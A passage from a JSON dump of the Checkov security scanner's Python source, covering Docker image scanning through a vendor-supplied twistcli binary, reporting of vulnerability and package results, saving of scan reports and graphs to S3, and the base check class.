generate_image_name()\n\n\ndef _get_dockerfile_content(dockerfile_path: Union[str, \"os.PathLike[str]\"]) -> str:\n    try:\n        with open(dockerfile_path) as f:\n            return f.read()\n    except FileNotFoundError:\n        logging.error(\"Path to Dockerfile is invalid\", exc_info=True)\n        raise\n    except Exception:\n        logging.error(\"Failed to read Dockerfile content\", exc_info=True)\n        raise\n\n\nclass ImageScanner:\n    def __init__(self) -> None:\n        self.docker_image_name = ''\n        self.dockerfile_content = ''\n        self.twistcli_path = Path(bridgecrew_dir) / TWISTCLI_FILE_NAME\n\n    def setup_scan(\n            self,\n            docker_image_id: str,\n            dockerfile_path: Union[str, \"os.PathLike[str]\"],\n            skip_extract_image_name: bool,\n    ) -> bool:\n        if skip_extract_image_name:\n            # Provide a default image name in case the image has not been tagged with a name\n            self.docker_image_name = generate_image_name()\n        else:\n            self.docker_image_name = _get_docker_image_name(docker_image_id)\n        self.dockerfile_content = _get_dockerfile_content(dockerfile_path)\n\n        status: bool = self.setup_twistcli()\n        return status\n\n    def cleanup_scan(self) -> None:\n        if self.twistcli_path.exists():\n            os.remove(self.twistcli_path)\n            logging.info('twistcli file removed')\n\n    def run_image_scan(self, docker_image_id: str) -> Dict[str, Any]:\n        command = f\"./{self.twistcli_path} images scan --address {docker_image_scanning_integration.get_proxy_address()} --token {docker_image_scanning_integration.get_bc_api_key()} --details --output-file \\\"{DOCKER_IMAGE_SCAN_RESULT_FILE_NAME}\\\" {docker_image_id}\"\n        logging.debug(f\"TwistCLI: {command}\")\n        command_args = command.split(' ')\n        try:\n            subprocess.run(command_args, check=True, shell=False)  # nosec B603\n        except Exception as exc:\n            logging.error(\"Failed to scan image\", exc_info=True)\n            self.cleanup_scan()\n            raise Exception(f\"Failed to scan image {docker_image_id}\") from exc\n        self.cleanup_scan()\n        logging.info(f'TwistCLI ran successfully on image {docker_image_id}')\n\n        with open(DOCKER_IMAGE_SCAN_RESULT_FILE_NAME) as docker_image_scan_result_file:\n            scan_result: dict[str, Any] = json.load(docker_image_scan_result_file)\n        return scan_result\n\n    def scan(self, docker_image_id: str, dockerfile_path: str, skip_extract_image_name: bool = False) -> int:\n        try:\n            setup_status: bool = self.setup_scan(docker_image_id, dockerfile_path, skip_extract_image_name)\n            if not setup_status:\n                return 2\n            scan_result = self.run_image_scan(docker_image_id)\n            exit_code = asyncio.run(\n                docker_image_scanning_integration.report_results_async(\n                    twistcli_scan_result=scan_result,\n                    bc_platform_integration=bc_integration,\n                    bc_api_key=docker_image_scanning_integration.get_bc_api_key(),\n                    file_path=Path(dockerfile_path),\n                    file_content=self.dockerfile_content,\n                    docker_image_name=self.docker_image_name,\n                )\n            )\n\n            logging.info('Docker image scanning results reported to the platform')\n            return exit_code\n        except Exception:\n            logging.error(\"Failed to scan docker image\", exc_info=True)\n            return 1\n\n    @staticmethod\n    def get_scan_results_from_cache(image_id: str) -> Dict[str, Any] | None:\n        try:\n            image_id_encode = quote_plus(image_id)\n            response = request_wrapper(\n                \"GET\", f\"{bc_integration.api_url}/api/v1/vulnerabilities/scan-results/{image_id_encode}\",\n                headers=bc_integration.get_default_headers(\"GET\"), should_call_raise_for_status=True\n            )\n            response_json = response.json()\n            return ImageScanner._extract_cache_results_for_image(image_id, response_json)\n\n        except Exception:\n            logging.debug(\n                \"Unexpected failure happened during retrieving image scanning result from cache. details are below.\\n\"\n                \"Note that the scan is still running. if it is repeated, please report.\", exc_info=True)\n            return None\n\n    @staticmethod\n    async def get_scan_results_from_cache_async(image_id: str) -> Dict[str, Any]:\n        \"\"\"\n        This is an async implementation of `get_scan_results_from_cache`. The only change is we're getting a session\n        as an input, and the asyncio behavior is managed in the calling method.\n        \"\"\"\n        try:\n            image_id_encode = quote_plus(image_id)\n            url = f\"{bc_integration.api_url}/api/v1/vulnerabilities/scan-results/{image_id_encode}\"\n            headers = bc_integration.get_default_headers(\"GET\")\n            logging.debug(f\"Invoking API {url}\")\n\n            response = await aiohttp_client_session_wrapper(\"GET\", URL(url, encoded=True), headers=headers)\n            response_json = await response.json()\n            logging.debug(response_json)\n            return ImageScanner._extract_cache_results_for_image(image_id, response_json)\n\n        except Exception as e:\n            logging.info(f\"(IR debug) an Error is raised in (get_scan_results_from_cache_async) for {image_id}.\")\n            logging.info(\n                \"Unexpected failure happened during retrieving image scanning result from cache. details are below.\\n\"\n                \"Note that the scan is still running. if it is repeated, please report.\")\n            logging.info(str(e))\n            return {}\n\n    @staticmethod\n    def _extract_cache_results_for_image(image_id: str, response_json: dict[str, str]) -> dict[str, Any]:\n        output_type = response_json.get(\"outputType\")\n        logging.info(f\"output_type={output_type} returned from cache for image_id={image_id}\")\n        if output_type == \"Result\":\n            result: dict[str, Any] = json.loads(\n                decompress_file_gzip_base64(\n                    response_json[\"outputData\"]\n                )\n            )\n            return result\n        if output_type is None or output_type == \"Error\":\n            logging.error(response_json.get(\"outputData\"))\n            return {}\n        logging.info(f\"Got an empty result for image={image_id}\")\n        return {}\n\n    def should_download(self) -> bool:\n        if not self.twistcli_path.exists():\n            return True\n        last_modification = os.stat(self.twistcli_path)\n        file_age = (time.time() - last_modification.st_mtime)\n        return file_age >= int(os.getenv(\"CHECKOV_EXPIRATION_TIME_IN_SEC\", CHECKOV_SEC_IN_WEEK))\n\n    def setup_twistcli(self) -> bool:\n        if self.should_download():\n            if not os.path.exists(bridgecrew_dir):\n                try:\n                    os.makedirs(bridgecrew_dir)\n                except FileExistsError:\n                    # In multi-processing, this might meet a race condition\n                    pass\n            self.cleanup_scan()\n            status: bool = docker_image_scanning_integration.download_twistcli(image_scanner.twistcli_path)\n            return status\n        return True\n\n\nimage_scanner = ImageScanner()\n"
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/integrations/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/integrations/docker_image_scanning.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.twistcli import TwistcliIntegration\nfrom checkov.common.util.str_utils import removeprefix\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\nclass DockerImageScanningIntegration(TwistcliIntegration):\n    async def report_results_async(\n        self,\n        twistcli_scan_result: dict[str, Any],\n        bc_platform_integration: BcPlatformIntegration,\n        bc_api_key: str,\n        file_path: Path,\n        **kwargs: Any,\n    ) -> int:\n        return await super().report_results_async(\n            twistcli_scan_result=twistcli_scan_result,\n            bc_platform_integration=bc_platform_integration,\n            bc_api_key=bc_api_key,\n            file_path=file_path,\n            file_content=kwargs[\"file_content\"],\n            docker_image_name=kwargs[\"docker_image_name\"],\n        )\n\n    def create_report(  # type:ignore[override]\n        self,\n        twistcli_scan_result: dict[str, Any],\n        bc_platform_integration: BcPlatformIntegration,\n        file_path: Path | str,\n        file_content: str,\n        docker_image_name: str,\n        related_resource_id: str | None = None,\n        root_folder: str | Path | None = None,\n        error_lines: list[int] | None = None\n    ) -> dict[str, Any]:\n        if not bc_platform_integration.bc_source:\n            logging.error(\"Source was not set\")\n            return {}\n\n        results_dict = self._get_results_dict(twistcli_scan_result)\n        path_prefix = str(root_folder) if root_folder else os.getenv(\"BC_ROOT_DIR\", \"\")\n        payload: dict[str, Any] = {\n            \"dockerImageName\": docker_image_name,\n            \"dockerFilePath\": removeprefix(str(file_path), path_prefix),\n            \"dockerFileContent\": file_content,\n            \"type\": \"Image\",\n            \"sourceId\": bc_platform_integration.repo_id,\n            \"branch\": bc_platform_integration.repo_branch,\n            \"sourceType\": bc_platform_integration.bc_source.name,\n            \"vulnerabilities\": self.get_vulnerabilities_for_report(results_dict),\n            \"packages\": self.get_packages_for_report(results_dict),\n            \"relatedResourceId\": related_resource_id,\n            \"errorLines\": error_lines\n        }\n        if bc_platform_integration.cicd_details:\n            payload[\"cicdDetails\"] = bc_platform_integration.cicd_details\n        return payload\n\n    @staticmethod\n    def _get_results_dict(twistcli_scan_result: dict[str, Any]) -> dict[str, Any]:\n        try:\n            results = twistcli_scan_result[\"results\"]\n            # we expect that there is exactly 1 scanned dokcer-image.\n            if len(results) != 1:\n                raise Exception(f'expected length of \\\"results\\\": 1. found: {len(results)}', results)\n        except KeyError as exc:\n            raise Exception(\"the key \\\"results\\\" expected to be existing in:\", twistcli_scan_result) from exc\n        result: dict[str, Any] = results[0]\n        return result\n\n\ndocker_image_scanning_integration = DockerImageScanningIntegration()\n"
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/integrations/package_scanning.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.twistcli import TwistcliIntegration\nfrom checkov.common.util.str_utils import removeprefix\n\n\nclass PackageScanningIntegration(TwistcliIntegration):\n    def create_report(\n        self,\n        twistcli_scan_result: dict[str, Any],\n        bc_platform_integration: BcPlatformIntegration,\n        file_path: Path,\n        **kwargs: Any,\n    ) -> dict[str, Any]:\n        if not bc_platform_integration.bc_source:\n            logging.error(\"Source was not set\")\n            return {}\n\n        payload: dict[str, Any] = {\n            \"packageName\": str(file_path.name),\n            \"packageFilePath\": removeprefix(str(file_path), os.getenv(\"BC_ROOT_DIR\", \"\")),\n            \"type\": \"Package\",\n            \"sourceId\": bc_platform_integration.repo_id,\n            \"branch\": bc_platform_integration.repo_branch,\n            \"sourceType\": bc_platform_integration.bc_source.name,\n            \"vulnerabilities\": self.get_vulnerabilities_for_report(twistcli_scan_result),\n            \"packages\": self.get_packages_for_report(twistcli_scan_result),\n        }\n        if bc_platform_integration.cicd_details:\n            payload[\"cicdDetails\"] = bc_platform_integration.cicd_details\n        return payload\n\n\npackage_scanning_integration = PackageScanningIntegration()\n"
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/integrations/twistcli.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport platform\nimport stat\nfrom abc import abstractmethod, ABC\nfrom pathlib import Path\nfrom typing import Dict, Any, List, TYPE_CHECKING\nfrom datetime import datetime, timedelta\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.http_utils import get_default_post_headers, request_wrapper, aiohttp_client_session_wrapper\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\nclass TwistcliIntegration(ABC):\n    vulnerabilities_base_path = \"/api/v1/vulnerabilities\"  # noqa: CCE003  # a static attribute\n\n    def get_bc_api_key(self) -> str:\n        return bc_integration.get_auth_token()\n\n    def get_proxy_address(self) -> str:\n        return f\"{bc_integration.api_url}{self.vulnerabilities_base_path}/docker-images/twistcli/proxy\"\n\n    def download_twistcli(self, cli_file_name: Path) -> bool:\n        # backwards compatibility, should be removed in a later stage\n        try:\n            cli_file_name_path = cli_file_name if isinstance(cli_file_name, Path) else Path(cli_file_name)\n            os_type = platform.system().lower()\n            response = request_wrapper(\"GET\",\n                                       f\"{bc_integration.api_url}{self.vulnerabilities_base_path}/twistcli?os={os_type}\",\n                                       headers=bc_integration.get_default_headers(\"GET\"),\n                                       should_call_raise_for_status=True)\n\n            cli_file_name_path.write_bytes(response.content)\n            cli_file_name_path.chmod(cli_file_name_path.stat().st_mode | stat.S_IEXEC)\n            logging.debug(\"twistcli downloaded and has execute permission\")\n            return True\n        except Exception:\n            logging.debug(\n                \"Unexpected failure happened during downloading twistcli. details are below.\\n\"\n                \"scanning is terminating. please try again. if it is repeated, please report.\\n\", exc_info=True)\n            return False\n\n    async def report_results_async(\n        self,\n        twistcli_scan_result: Dict[str, Any],\n        bc_platform_integration: BcPlatformIntegration,\n        bc_api_key: str,\n        file_path: Path,\n        **kwargs: Any,\n    ) -> int:\n        logging.info(f\"Start to send report for package file {file_path}\")\n\n        if not bc_platform_integration.bc_source:\n            logging.error(\"Source was not set\")\n            return 1\n\n        payload = self.create_report(\n            twistcli_scan_result=twistcli_scan_result,\n            bc_platform_integration=bc_platform_integration,\n            file_path=file_path,\n            **kwargs,\n        )\n        headers = merge_dicts(\n            get_default_post_headers(bc_platform_integration.bc_source, bc_platform_integration.bc_source_version),\n            {\"Authorization\": bc_api_key},\n        )\n        url = f\"{bc_platform_integration.api_url}{self.vulnerabilities_base_path}/results\"\n\n        logging.info(f\"[twistcli](report_results_async) - reporting results to the server for the file \\'{file_path}\\'\")\n        response = await aiohttp_client_session_wrapper(\"POST\", url, headers, payload)\n\n        if not response.ok:\n            logging.error(f\"[twistcli](report_results_async) - Failed to send report for package file {file_path}\"\n                          f\"\\nerror message appears above\")\n            return 1\n        return 0\n\n    @abstractmethod\n    def create_report(\n        self,\n        twistcli_scan_result: dict[str, Any],\n        bc_platform_integration: BcPlatformIntegration,\n        file_path: Path,\n        **kwargs: Any,\n    ) -> dict[str, Any]:\n        pass\n\n    @staticmethod\n    def get_vulnerabilities_for_report(scan_results: Dict[str, Any]) -> List[Dict[str, Any]]:\n        return [\n            {\n                \"cveId\": vul.get(\"id\"),\n                \"status\": vul.get(\"status\", \"open\"),\n                \"severity\": vul.get(\"severity\"),\n                \"packageName\": vul.get(\"packageName\"),\n                \"packageVersion\": vul.get(\"packageVersion\"),\n                \"link\": vul.get(\"link\"),\n                \"cvss\": vul.get(\"cvss\"),\n                \"vector\": vul.get(\"vector\"),\n                \"description\": vul.get(\"description\"),\n                \"riskFactors\": vul.get(\"riskFactors\"),\n                \"publishedDate\": vul.get(\"publishedDate\") or\n                                 (datetime.now() - timedelta(days=vul.get(\"publishedDays\", 0))).isoformat(),\n            }\n            for vul in scan_results.get(\"vulnerabilities\") or []\n        ]\n\n    @staticmethod\n    def get_packages_for_report(scan_results: Dict[str, Any]) -> List[Dict[str, Any]]:\n        return [\n            {\n                \"type\": package.get(\"type\"),\n                \"name\": package.get(\"name\"),\n                \"version\": package.get(\"version\"),\n                \"licenses\": package.get(\"licenses\") or [],\n            }\n            for package in scan_results.get(\"packages\") or []\n            if package.get(\"version\") and package.get(\"name\") and package.get(\"type\")\n        ]\n"
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/report.py",
    "content": "from __future__ import annotations\n\nimport asyncio\nimport logging\nimport os\nfrom collections.abc import Sequence, Iterable\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nfrom aiomultiprocess import Pool  # type:ignore[import-untyped]\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.package_scanning import PackageScanningIntegration\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\nasync def _report_results_to_bridgecrew_async(\n    scan_results: Iterable[dict[str, Any]],\n    bc_integration: BcPlatformIntegration,\n    bc_api_key: str,\n) -> Sequence[int]:\n    package_scanning_int = PackageScanningIntegration()\n    args = [(result, bc_integration, bc_api_key, Path(result[\"repository\"])) for result in scan_results]\n\n    if os.getenv(\"PYCHARM_HOSTED\") == \"1\":\n        # PYCHARM_HOSTED env variable equals 1 when running via Pycharm.\n        # it avoids us from crashing, which happens when using multiprocessing via Pycharm's debug-mode\n        logging.warning(\"reporting the results in sequence for avoiding crashing when running via Pycharm\")\n        exit_codes = []\n        for curr_arg in args:\n            exit_codes.append(await package_scanning_int.report_results_async(*curr_arg))\n    else:\n        async with Pool() as pool:\n            exit_codes = await pool.starmap(package_scanning_int.report_results_async, args)\n\n    return exit_codes\n\n\ndef report_results_to_bridgecrew(\n    scan_results: Iterable[dict[str, Any]],\n    bc_integration: BcPlatformIntegration,\n    bc_api_key: str,\n) -> Sequence[int]:\n    return asyncio.run(_report_results_to_bridgecrew_async(scan_results, bc_integration, bc_api_key))\n"
  },
  {
    "path": "checkov/common/bridgecrew/wrapper.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport json\nimport itertools\nfrom concurrent import futures\nfrom io import StringIO\nfrom typing import Any, TYPE_CHECKING, Optional, Dict\nfrom collections import defaultdict\n\nimport dpath\nfrom rustworkx import PyDiGraph, digraph_node_link_json\n\ntry:\n    from networkx import DiGraph, node_link_data\nexcept ImportError:\n    logging.info(\"Not able to import networkx\")\n    DiGraph = str\n    node_link_data = lambda G : {}\n\nfrom checkov.common.sast.consts import CDK_FRAMEWORK_PREFIX, SAST_FRAMEWORK_PREFIX\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.consts import SUPPORTED_FILE_EXTENSIONS\nfrom checkov.common.typing import _ReducedScanReport, LibraryGraph\nfrom checkov.common.util.file_utils import compress_multiple_strings_ios_tar\nfrom checkov.common.util.json_utils import CustomJSONEncoder\n\nif TYPE_CHECKING:\n    from mypy_boto3_s3.client import S3Client\n\n    from checkov.common.output.report import Report\n\ncheckov_results_prefix = 'checkov_results'\ncheck_reduced_keys = (\n    'check_id', 'check_result', 'resource', 'file_path',\n    'file_line_range', 'code_block', 'caller_file_path', 'caller_file_line_range')\nsecrets_check_reduced_keys = check_reduced_keys + ('validation_status',)\ncheck_metadata_keys = ('evaluations', 'code_block', 'workflow_name', 'triggers', 'job')\n\nFILE_NAME_NETWORKX = 'graph_networkx.json'\nFILE_NAME_RUSTWORKX = 'graph_rustworkx.json'\n\n\ndef _is_scanned_file(file: str) -> bool:\n    file_ending = os.path.splitext(file)[1]\n    return file_ending in SUPPORTED_FILE_EXTENSIONS\n\n\ndef _put_json_object(s3_client: S3Client, json_obj: Any, bucket: str, object_path: str, log_stack_trace_on_error: bool = True) -> None:\n    try:\n        s3_client.put_object(Bucket=bucket, Key=object_path, Body=json.dumps(json_obj, cls=CustomJSONEncoder))\n    except Exception:\n        logging.error(f\"failed to persist object into S3 bucket {bucket} - {object_path}\", exc_info=log_stack_trace_on_error)\n        raise\n\n\ndef _extract_checks_metadata(report: Report, full_repo_object_key: str, on_prem: bool) -> dict[str, dict[str, Any]]:\n    metadata: dict[str, dict[str, Any]] = defaultdict(dict)\n    for check in itertools.chain(report.passed_checks, report.failed_checks, report.skipped_checks):\n        metadata_key = f'{check.file_path}:{check.resource}'\n        check_meta = {k: getattr(check, k, \"\") for k in check_metadata_keys}\n        check_meta['file_object_path'] = full_repo_object_key + check.file_path\n        if on_prem:\n            check_meta['code_block'] = []\n        metadata[metadata_key][check.check_id] = check_meta\n\n    return metadata\n\n\ndef reduce_scan_reports(scan_reports: list[Report], on_prem: Optional[bool] = False) -> dict[str, _ReducedScanReport]:\n    \"\"\"\n    Transform checkov reports objects into compact dictionaries\n    :param scan_reports: List of checkov output reports\n    :return: dictionary of\n    \"\"\"\n    reduced_scan_reports: dict[str, _ReducedScanReport] = {}\n    for report in scan_reports:\n        check_type = report.check_type\n        if check_type.startswith((SAST_FRAMEWORK_PREFIX, CDK_FRAMEWORK_PREFIX)):\n            continue\n        reduced_keys = secrets_check_reduced_keys if check_type == CheckType.SECRETS else check_reduced_keys\n        if on_prem:\n            reduced_keys = tuple(k for k in reduced_keys if k != 'code_block')  # type: ignore\n        reduced_scan_reports[check_type] = \\\n            {\n                \"checks\": {\n                    \"passed_checks\": [\n                        {k: getattr(check, k) for k in reduced_keys}\n                        for check in report.passed_checks],\n                    \"failed_checks\": [\n                        {k: getattr(check, k) for k in reduced_keys}\n                        for check in report.failed_checks],\n                    \"skipped_checks\": [\n                        {k: getattr(check, k) for k in reduced_keys}\n                        for check in report.skipped_checks]\n                },\n                \"image_cached_results\": report.image_cached_results\n        }\n    return reduced_scan_reports\n\n\ndef persist_assets_results(check_type: str, assets_report: Dict[str, Any], s3_client: Optional[S3Client],\n                           bucket: Optional[str], full_repo_object_key: Optional[str]) -> str:\n    if not s3_client or not bucket or not full_repo_object_key:\n        return ''\n    check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/assets.json'\n    _put_json_object(s3_client, assets_report, bucket, check_result_object_path)\n    return check_result_object_path\n\n\ndef persist_reachability_results(check_type: str, reachability_report: Dict[str, Any], s3_client: Optional[S3Client],\n                                 bucket: Optional[str], full_repo_object_key: Optional[str]) -> str:\n    if not s3_client or not bucket or not full_repo_object_key:\n        return ''\n    check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/reachability_report.json'\n    _put_json_object(s3_client, reachability_report, bucket, check_result_object_path)\n    return check_result_object_path\n\n\ndef persist_checks_results(\n        reduced_scan_reports: dict[str, _ReducedScanReport], s3_client: S3Client, bucket: str,\n        full_repo_object_key: str\n) -> dict[str, str]:\n    \"\"\"\n    Save reduced scan reports into bridgecrew's platform\n    :return: List of checks results path of all runners\n    \"\"\"\n    checks_results_paths = {}\n    for check_type, reduced_report in reduced_scan_reports.items():\n        check_result_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/checks_results.json'\n        checks_results_paths[check_type] = check_result_object_path\n        _put_json_object(s3_client, reduced_report, bucket, check_result_object_path)\n    return checks_results_paths\n\n\ndef persist_run_metadata(\n        run_metadata: dict[str, str | list[str]], s3_client: S3Client, bucket: str, full_repo_object_key: str, use_checkov_results: bool = True\n) -> None:\n    object_path = f'{full_repo_object_key}/{checkov_results_prefix}/run_metadata.json' if use_checkov_results else f'{full_repo_object_key}/run_metadata.json'\n    try:\n        s3_client.put_object(Bucket=bucket, Key=object_path, Body=json.dumps(run_metadata, indent=2))\n\n    except Exception:\n        logging.error(f\"failed to persist run metadata into S3 bucket {bucket}\", exc_info=True)\n        raise\n\n\ndef persist_multiple_logs_stream(logs_streams: Dict[str, StringIO], s3_client: S3Client, bucket: str, full_repo_object_key: str) -> None:\n    file_io = compress_multiple_strings_ios_tar(logs_streams)\n    object_path = f'{full_repo_object_key}/logs_files.tar.gz'\n    try:\n        s3_client.put_object(Bucket=bucket, Key=object_path, Body=file_io)\n    except Exception:\n        logging.error(f\"failed to persist logs stream into S3 bucket {bucket}\", exc_info=True)\n        raise\n\n\ndef enrich_and_persist_checks_metadata(\n        scan_reports: list[Report], s3_client: S3Client, bucket: str, full_repo_object_key: str, on_prem: bool\n) -> dict[str, dict[str, str]]:\n    \"\"\"\n    Save checks metadata into bridgecrew's platform\n    :return:\n    \"\"\"\n    checks_metadata_paths: dict[str, dict[str, str]] = {}\n    for scan_report in scan_reports:\n        check_type = scan_report.check_type\n        if check_type.startswith((SAST_FRAMEWORK_PREFIX, CDK_FRAMEWORK_PREFIX)):\n            continue\n        checks_metadata_object = _extract_checks_metadata(scan_report, full_repo_object_key, on_prem)\n        checks_metadata_object_path = f'{full_repo_object_key}/{checkov_results_prefix}/{check_type}/checks_metadata.json'\n        dpath.new(checks_metadata_paths, f\"{check_type}/checks_metadata_path\", checks_metadata_object_path)\n        _put_json_object(s3_client, checks_metadata_object, bucket, checks_metadata_object_path)\n    return checks_metadata_paths\n\n\ndef persist_graphs(\n        graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]],\n        s3_client: S3Client,\n        bucket: str,\n        full_repo_object_key: str,\n        timeout: int,\n        absolute_root_folder: str = ''\n) -> None:\n    def _upload_graph(check_type: str, graph: LibraryGraph, _absolute_root_folder: str = '', subgraph_path: Optional[str] = None) -> None:\n        if isinstance(graph, DiGraph):\n            json_obj = node_link_data(graph)\n            graph_file_name = FILE_NAME_NETWORKX\n        elif isinstance(graph, PyDiGraph):\n            json_obj = digraph_node_link_json(graph)\n            graph_file_name = FILE_NAME_RUSTWORKX\n        else:\n            logging.error(f\"unsupported graph type '{graph.__class__.__name__}'\")\n            return\n        multi_graph_addition = (f\"multi-graph/{subgraph_path}\" if subgraph_path is not None else '').rstrip(\"/\")\n        s3_key = os.path.join(graphs_repo_object_key, check_type, multi_graph_addition, graph_file_name)\n        try:\n            _put_json_object(s3_client, json_obj, bucket, s3_key)\n        except Exception:\n            logging.error(f'failed to upload graph from framework {check_type} to platform', exc_info=True)\n\n    graphs_repo_object_key = full_repo_object_key.replace('checkov', 'graphs')[:-4]\n\n    with futures.ThreadPoolExecutor() as executor:\n        futures.wait(\n            [executor.submit(_upload_graph, check_type, graph, absolute_root_folder, subgraph_path) for\n             check_type, graphs in graphs.items() for graph, subgraph_path in graphs],\n            return_when=futures.FIRST_EXCEPTION,\n            timeout=timeout\n        )\n    logging.info(f\"Done persisting {len(list(itertools.chain(*graphs.values())))} graphs\")\n\n\ndef persist_resource_subgraph_maps(\n        resource_subgraph_maps: dict[str, dict[str, str]],\n        s3_client: S3Client,\n        bucket: str,\n        full_repo_object_key: str,\n        timeout: int\n) -> None:\n    def _upload_resource_subgraph_map(check_type: str, resource_subgraph_map: dict[str, str]) -> None:\n        s3_key = os.path.join(graphs_repo_object_key, check_type, \"multi-graph/resource_subgraph_maps/resource_subgraph_map.json\")\n        try:\n            _put_json_object(s3_client, resource_subgraph_map, bucket, s3_key)\n        except Exception:\n            logging.error(f'failed to upload resource_subgraph_map from framework {check_type} to platform', exc_info=True)\n\n    # removing '/src' with [:-4]\n    graphs_repo_object_key = full_repo_object_key.replace('checkov', 'graphs')[:-4]\n    with futures.ThreadPoolExecutor() as executor:\n        futures.wait(\n            [executor.submit(_upload_resource_subgraph_map, check_type, resource_subgraph_map) for\n             check_type, resource_subgraph_map in resource_subgraph_maps.items()],\n            return_when=futures.FIRST_EXCEPTION,\n            timeout=timeout\n        )\n    if resource_subgraph_maps:\n        logging.info(f\"Done persisting resource_subgraph_maps for frameworks - {', '.join(resource_subgraph_maps.keys())}\")\n"
  },
  {
    "path": "checkov/common/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/checks/base_check.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom abc import abstractmethod, ABC\nfrom collections.abc import Iterable\nfrom typing import List, Dict, Any, Optional\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.typing import _SkippedCheck, _CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.models.enums import CheckResult, CheckCategories, CheckFailLevel\n\n\nclass BaseCheck(ABC):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        block_type: str,\n        bc_id: Optional[str] = None,\n        guideline: Optional[str] = None,\n    ) -> None:\n        self.name = name\n        self.id = id\n        self.bc_id = bc_id\n        self.categories = categories\n        self.block_type = block_type\n        self.path: str | None = None\n        self.supported_entities = supported_entities\n        self.logger = logging.getLogger(\"{}\".format(self.__module__))\n        add_resource_code_filter_to_logger(self.logger)\n        self.evaluated_keys: List[str] = []\n        self.entity_path = \"\"\n        self.entity_type = \"\"\n        self.guideline = guideline\n        self.benchmarks: dict[str, list[str]] = {}\n        self.severity = None\n        self.bc_category = None\n        self.graph = None\n        if self.guideline:\n            logging.debug(f'Found custom guideline for check {id}')\n        self.details: List[str] = []\n        self.check_fail_level = os.environ.get('CHECKOV_CHECK_FAIL_LEVEL', CheckFailLevel.ERROR)\n\n    def run(\n        self,\n        scanned_file: str,\n        entity_configuration: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        skip_info: _SkippedCheck,\n    ) -> _CheckResult:\n        self.details = []\n        check_result: _CheckResult = {}\n        if skip_info:\n            check_result[\"result\"] = CheckResult.SKIPPED\n            check_result[\"suppress_comment\"] = skip_info[\"suppress_comment\"]\n            self.logger.debug(\n                f'File {scanned_file}, {self.block_type} \"{entity_type}.{entity_name}\" check \"{self.name}\" Result: {check_result}, Suppression comment: {check_result[\"suppress_comment\"]}'\n            )\n        else:\n            try:\n                self.evaluated_keys = []\n                self.entity_path = f\"{scanned_file}:{entity_type}:{entity_name}\"\n                check_result[\"result\"] = self.scan_entity_conf(entity_configuration, entity_type)\n                check_result[\"evaluated_keys\"] = self.get_evaluated_keys()\n                self.logger.debug(\n                    f'File {scanned_file}, {self.block_type} \"{entity_type}.{entity_name}\" check \"{self.name}\" Result: {check_result}'\n                )\n\n            except Exception:\n                self.log_check_error(scanned_file=scanned_file, entity_type=entity_type, entity_name=entity_name,\n                                     entity_configuration=entity_configuration)\n                raise\n        return check_result\n\n    @abstractmethod\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult | tuple[CheckResult, dict[str, Any]]:\n        raise NotImplementedError()\n\n    def get_evaluated_keys(self) -> List[str]:\n        \"\"\"\n        Retrieves the evaluated keys for the run's report. Child classes override the function and return the `expected_keys` instead.\n        :return: List of the evaluated keys, as JSONPath syntax paths of the checked attributes\n        \"\"\"\n        return force_list(self.evaluated_keys)\n\n    def get_output_id(self, use_bc_ids: bool) -> str:\n        return self.bc_id if self.bc_id and use_bc_ids else self.id\n\n    def log_check_error(self, scanned_file: str, entity_type: str, entity_name: str,\n                        entity_configuration: Dict[str, Any]) -> None:\n        if self.check_fail_level == CheckFailLevel.ERROR:\n            logging.error(f'Failed to run check {self.id} on {scanned_file}:{entity_type}.{entity_name}',\n                          exc_info=True)\n        if self.check_fail_level == CheckFailLevel.WARNING:\n            logging.warning(f'Failed to run check {self.id} on {scanned_file}:{entity_type}.{entity_name}')\n        logging.info(f'Entity configuration: {entity_configuration}')\n"
  },
  {
    "path": "checkov/common/checks/base_check_registry.py",
